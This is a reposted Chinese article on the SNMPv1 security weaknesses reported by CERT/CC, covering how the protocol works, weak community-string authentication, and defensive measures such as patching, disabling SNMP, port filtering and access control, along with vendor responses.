    鉴于目前互联网络中主要使用SNMPv1协议对网络设备进行网上管理和监控,一般网络产品(如路由器、交换机、网桥、服务器、防火墙、远程访问服务器、打印服务器和工作站等)都提供SNMPv1功能,许多“可网管”的网络设备都包含SNMP代理。所以,CERT/CC报告的影响面广泛,所列出的近300家厂商名单中,有许多已给出了及时反馈。有鉴于此,网络规划和管理人员有必要采取相应措施,正确配置网络,使网络安全风险趋于最小。

    一、 snmp的工作机制

    形成SNMPv1安全隐患的部分根源在协议本身,因此我们有必要了解一下其工作机制。

    1.代理和管理站的模型

    简单网络管理系统分2种角色:SNMP管理站和SNMP代理。代理是实际网络设备中用来实现SNMP功能的部分。代理在UDP的161端口接收NMS的读写请求消息,管理站在UDP的162端口接收代理的事件通告消息。所以,一旦获取设备的访问权限,就可以访问设备信息、改写和配置设备参数。由于采用UDP协议,不需要在代理和管理站之间保持连接。

    2.SNMP的消息种类

    SNMP只提供3种基本操作:获取网络设备信息(Get: 读操作)、设置网络设备参数值(Set: 写操作)和事件报告(Trap: 陷阱操作)。有5种协议数据单元(即消息)类型: Get-request、Get-Next-Request、Get-Response、Set-Request和Trap。其中,Get-request和Get-Next-Request由管理工作站发给代理,请求检索信息,代理以Get-Response响应它; 管理工作站使用Set-Request可以远程设置代理所在的网络设备的参数。这些都通过读或写管理信息库实现。在5种类型中,只有Trap是代理发起的(非请求信息),用于向管理工作站报告特定的事件,如设备的启动、关闭和其他变化等。

    3.SNMP的简单认证

    SNMPv1不支持加密和授权,通过包含在SNMP中的团体名提供简单的认证,其作用类似口令,SNMP代理检查消息中的团体名字段的值,符合预定值时接收和处理该消息。依据SNMPv1协议规定,大多数网络产品出厂时设定的只读操作的团体名缺省值为“Public”,读写操作的团体名缺省值为“Private”,许多情况下,网络管理人员从未修改过该值。

    二、 SNMP的安全隐患

    OUSPG的测试集中包含了53000个测试实例,测试发现SNMP管理工作站在解析和处理Trap消息及SNMP代理在处理请求消息时具有某些缺陷,主要原因是对SNMP消息的检查不充分,当数据包中含有异常的字段值或过长的对象识别时,引起内存耗尽、堆栈耗尽以及缓冲区溢出等致命错误,从而导致修改目标系统和执行其他代码。后果因具体设备而异,比如会形成拒绝服务攻击条件、设备不能正常工作、产生大量日志记录、系统崩溃或挂起和设备自动重启动等等。

    团体名作为惟一的SNMP认证手段,也是薄弱环节之一。例如利用知名的缺省值“Public”或“Private”以及空白团体名常常能获取设备的访问权,或利用嵌入SNMPv1消息的团体名在网上以明码传输,及利用Sniff软件获取团体名。此外,还有些攻击可以绕过这一认证。

    由于SNMP主要采用UDP传输,很容易进行IP源地址假冒,所以,仅仅使用访问控制列表有时也不足以防范。

    大多数SNMP设备接收来自网络广播地址的SNMP消息,攻击者甚至可以不必知道目标设备的IP地址,通过发送广播SNMP数据包达到目的。

    三、 建议措施

    由于SNMPv1实施的广泛性,该问题涉及很多网络产品(从高端到低端),建议网络规划和管理人员检查那些“可网管的”设备,具体采取以下措施。

    1.关注所用产品的改进信息,及时增打补丁,升级版本

    CERT/CC的咨询报告公布后,一些知名网络厂商已做出反馈,对各自的SNMP实现方案进行了全面测试,并公布了测试结果和具体建议,用户应跟踪最新动态。

    2.在不必要的情况下,关闭SNMP服务

    有些中、小企业的网络较少通过网络进行网管,多采用串口和控制台对网络设备进行静态配置,可以考虑关闭SNMP功能。例如,对Cisco产品,可使用命令“No Snmp-Server”关闭,用“Show Snmp”查看,然后确认:“%SNMP agent not enabled”。

    此外,OUSPG发现,个别产品即使在关闭了SNMP服务之后,仍存在DoS隐患,因此,建议和访问控制措施结合使用。

    3.对进入网络的SNMP流量进行过滤

    正常情况下,大多数网络对外提供访问的主要是一些服务器(如Web服务器和FTP服务器等),不可能有外部主机发起的对内部网络设备的访问,可以过滤外部主机发起的针对内部服务器和网络设备的进入流量。尤其是SNMP数据包,用户可结合IP地址和传输端口(服务类型)进行过滤。

    SNMP服务常使用的端口是161/UDP和162/UDP端口,有可能用到的端口有:SNMP 161/TCP、SNMP 162/TCP、SNMP 1993/TCP、1993/UDP、Smux 199/UDP以及Smux 199/ TCP SNMP Unix Multiplexer。

    由于SNMP监控程序常常绑定到所有网卡地址上,还要注意过滤来自广播地址、子网广播地址以及内部返回地址的SNMP流量。

    4.对内部的未授权主机的SNMP访问控制

    正常情况下,只有NMS有权发起SNMP请求,因此,可以配置SNMP代理,通过访问控制,将来自未授权主机的SNMP请求信息阻挡掉。但如前所述,该方法对UDP的源IP地址欺骗不能奏效。另外,此配置可能影响网络性能,因此需要兼顾考虑。

    最后一个措施是将SNMP流量限制在特定的VLAN上。

    四、 厂商的响应

    CERT/CC在报告中附加了近300家厂商的名单,指出该隐患可能影响到这些厂家的产品,目前包括Cisco、3Com、HP、D-link和Nortel Networks等在内的许多厂商已经做出积极的响应。

    Cisco指出,所有运行以前版本IOS的网络设备都可能受到影响,建议及时升级或关闭SNMP服务、删除缺省团体名、采取边界过滤和访问控制等措施。

    HP公布了所有影响到的平台和可能的损害,建议对运行SNMPD的HP UX和OpenView产品及时打补丁和升级,并公布了其交换机、打印服务器及网络管理平台等产品的补丁程序和升级版本。

    作为为数不多的宣布其产品不受影响的厂商D-Link在报告中指出,经过对其产品DES-3226、DES-3326、DES-3624i和DES-6000测试后认定,这些产品不受SNMP协议本身安全隐患的影响。由于所有支持SNMP代理功能的产品使用同样的代码基,因此,可以推论,所有其他产品也不存在SNMP安全问题。不过,D-Link仍将继续对其SNMP代理的产品进行评估和调查,并将公布全面测试结果。

    国内主要网络厂商的产品也提供SNMP功能,但尚未见到反馈信息,在CERT/CC的列表中显示为Unkown状态。

    为方便用户跟踪,附表列出部分常用网络产品的SNMP安全使用信息和补丁发布站点。

    SNMPv1的安全机制过于薄弱,IETF于1993年提出了SNMPv2,增强了安全机制和其他功能,该版本支持认证和加密。1998年推出SNMPv3,目前最新的NMPv3文件是1999年的RFC2571,但无论SNMPv2还是SNMPv3,都停留在草案标准上,只有SNMPv1成为正式Internet标准(RFC1157)。

    值得注意的是,虽然OUSPG仅对SNMPv1进行了测试,有些隐患在SNMPv2和SNMPv3的实施中仍可能存在。 

    转载于:https://www.cnblogs.com/luhuan860/archive/2010/05/16/1736651.html

    展开全文
    again5401 2019-09-26 21:01:29
  • tigerdsh 2013-05-09 00:18:08
  • 938KB weixin_38670700 2020-06-19 14:04:55
  • GitChat 2021-12-03 13:16:37
  • 1.09MB weixin_38719719 2021-05-06 12:09:08
  • qq_41919751 2019-11-26 17:14:01
  • 1.72MB weixin_38632247 2020-06-10 12:14:37
  • feitianhanxue 2015-04-07 08:48:15
  • 6.3MB abc__def 2020-07-07 10:59:59
  • CODING_devops 2021-12-10 17:34:03
  • 89KB m0_59336714 2021-07-15 17:17:06
  • wutianxu123 2021-02-06 20:45:30
  • jojo705 2020-03-19 10:11:50
  • Eastmount 2019-11-01 10:17:19
  • Uguardsec 2021-01-08 11:10:37
  • weixin_55520210 2021-10-20 13:40:54
  • easylife206 2019-10-13 10:46:41
  • LQ12369 2020-09-04 10:12:34
  • Eastmount 2020-02-21 15:47:57
  • m0_53146110 2021-08-31 22:31:59
  • 3.08MB weixin_38629391 2021-07-17 03:13:51
  • Eastmount 2021-09-19 22:01:12
  • baidu_40202612 2020-11-18 16:25:10
  • alitech2017 2020-07-20 14:54:04
  • 911KB weixin_38692202 2020-05-05 02:09:10

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 22,790
精华内容 9,116
关键字:

发现安全隐患及时处理